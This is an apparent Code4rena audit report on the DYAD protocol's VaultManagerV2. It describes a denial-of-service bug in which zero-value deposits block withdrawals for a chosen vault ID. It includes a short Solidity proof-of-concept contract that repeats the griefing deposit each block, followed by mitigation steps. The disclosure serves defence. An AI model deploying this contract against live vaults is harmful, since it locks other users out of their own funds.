DYAD - Imp's results

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/VaultManagerV2.sol#L119-L131 https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/VaultManagerV2.sol#L143

Vulnerability details

Impact

Detailed description of the impact of this finding.

VaultManagerV2::deposit allows for users to deposit underlying vault assets to the vault, however while doing so it will update a mapping idToBlockOfLastDeposit in order to block multiple transactions from the same ID within one block. A malicious user, however, can manipulate this functionality to intentionally block all function calls with require statements contingent on this mapping, namely VaultManagerV2:: withdraw.

Since zero-value deposits are allowed from ERC20's safeTransferFrom, it is possible for an attacker to block all withdraws from a given NFT ID. Since this would be a DoS targeted at an individual vault ID, rather than all vaults in the protocol, I would classify this as a medium severity vulnerability per below C4 description of severity:

2 — Med: Assets not at direct risk, but the function of the protocol or its availability could be impacted, or leak value with a hypothetical attack path with stated assumptions, but external requirements.

Proof of Concept

For the below PoC, we assume that the attacker has retrieved the address and vaultID of the target ahead of time. All public data on mainnet blockchain.

1. Attacker Identified the id of a digital asset within the vault that is frequently accessed by users. Attacker also retrieves address of deployed vault contract.

2. Attacker prepares to make a zero-value deposit to the vault.

interface IVaultManager {
    function deposit(uint, address, uint) external;
}
contract dyadDOS {
    // IVaultManager defined in interfaces on github
    IVaultManager vaultManager;
    constructor(address vaultManagerAddress) {
        vaultManager = IVaultManager(vaultManagerAddress);
    }

    // Assuming attacker knows target vault contract address associated w/ ID
    function depositZeroDOS(address vaultContractAddress, uint assetID) public {
       vaultManager.deposit(assetID, vaultContractAddress, 0);
    }
}

3. Attacker executes above function blocking withdrawals from vaultContractAddress for that blockID. Simple re-execute above function when new blockID created.

Tools Used

Manual Review.

Recommended Mitigation Steps

1. Enforce Non-zero Deposits.

By requiring that deposit values exceed some small value, or simply zero, we can increase the monetary burden on extended DoS attacks on this protocol. By doing this we can simply make it monetarily unfeasible to execute DoS attacks over a long period of time. It would be important to find a value large enough to significantly hamper malicious actors but small enough to not hinder users.

2. Refactor the block ID mapping.

By gating out transactions within a certain block ID, it is inevitable that DoS attacks will be technically possible through minimum-value deposits despite monetary burden. Depending on implementation, however, this may enable other attack vectors.

Assessed type

DoS